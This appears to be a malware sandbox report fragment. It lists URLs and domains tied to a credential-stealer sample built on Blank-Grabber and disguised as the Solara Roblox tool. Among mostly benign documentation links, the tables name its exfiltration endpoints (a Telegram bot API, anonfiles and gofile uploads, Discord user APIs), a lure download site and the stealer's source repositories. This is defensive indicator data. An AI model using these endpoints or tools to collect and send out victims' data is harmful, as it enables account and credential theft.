https://www.newtonsoft.com/jsonschema	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
nodejs.org	104.20.23.46	true	false	unknown
getsolara.dev	172.67.203.125	true	false	unknown
edge-term4-fra2.roblox.com	128.116.123.4	true	false	unknown
www.nodejs.org	104.20.23.46	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
clientsettings.roblox.com	unknown	unknown	false	unknown
blank-8rmnx.in	unknown	unknown	false	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://getsolara.dev/asset/discord.json	false	unknown
https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live	false	unknown
https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/Blank-c/BlankOBF	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1406140672.000001DCB5CFC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1404697501.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1404952130.000001DCB6036000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1405277736.000001DCB5CFC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/urllib3/urllib3/issues/29200	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Blank-c/Blank-Grabberi	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ncs.roblox.com/upload	bound.exe, 00000011.00000002.1605507236.00000254B6C19000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.nodejs.org	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://99ab5d9c.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C1D000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C2E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/raw	bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/rfc2388#section-4.4	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407872022.000001DCB5897000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408510057.000001DCB5894000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB588C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/vs/17/release/vc_redist.x64.exe	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	false		unknown
https://api.anonfiles.com/upload	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://packaging.python.org/en/latest/specifications/entry-points/#file-format	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/users/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1461987753.000001DCB6030000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://cacerts.digi	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Blank-c/Blank-Grabberr#	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://peps.python.org/pep-0205/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1396701791.000001DCB55F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407872022.000001DCB5897000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408510057.000001DCB5894000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB588C000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	false		unknown
http://127.0.0.1:6463/rpc?v=1	bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.1500577512.000001E35B281000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6B3A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://edge-term4-fra2.roblox.com	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1398382471.000001DCB5623000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB53C4000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://discord.com	bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://blank-8RmNx.in	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/python/cpython/issues/86361.	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409474610.000001DCB5D21000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409474610.000001DCB5DAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408120431.000001DCB5E6F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.mic	powershell.exe, 0000000B.00000002.1534955775.000001E373933000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://httpbin.org/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412898887.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EB2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://getsolara.dev	bound.exe, 00000011.00000002.1605507236.00000254B6B55000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.com;http://127.0.0.1:6463/rpc?v=11	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	false		unknown
https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462238296.000001DCB6230000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:64632f	bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/python/importlib_metadata/wiki/Development-Methodology	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB63B4000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getsolara.dev	bound.exe, 00000011.00000002.1605507236.00000254B6B4A000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6B3A000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	false	URL Reputation: safe	unknown
https://google.com/mail	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://packaging.python.org/specifications/entry-points/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462110032.000001DCB6130000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6330000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.python.org/psf/license/)	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmp	false		unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C15000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://foss.heptapod.net/pypy/pypy/-/issues/3539	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1461987753.000001DCB6030000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412628978.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:6463	bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://google.com/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.nodejs.org	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/rfc7231#section-4.3.6)	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409064610.000001DCB5E95000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412898887.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://99ab5d9c.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C1D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.gofile.io/getServerr~	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discordapp.com/api/v9/users/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB53C4000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://ip-api.com/json/?fields=225545r	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/urllib3/urllib3/issues/2920	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.gofile.io/getServerr~r	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://yahoo.com/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.rfc-editor.org/rfc/rfc825	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5EFB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB5935000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
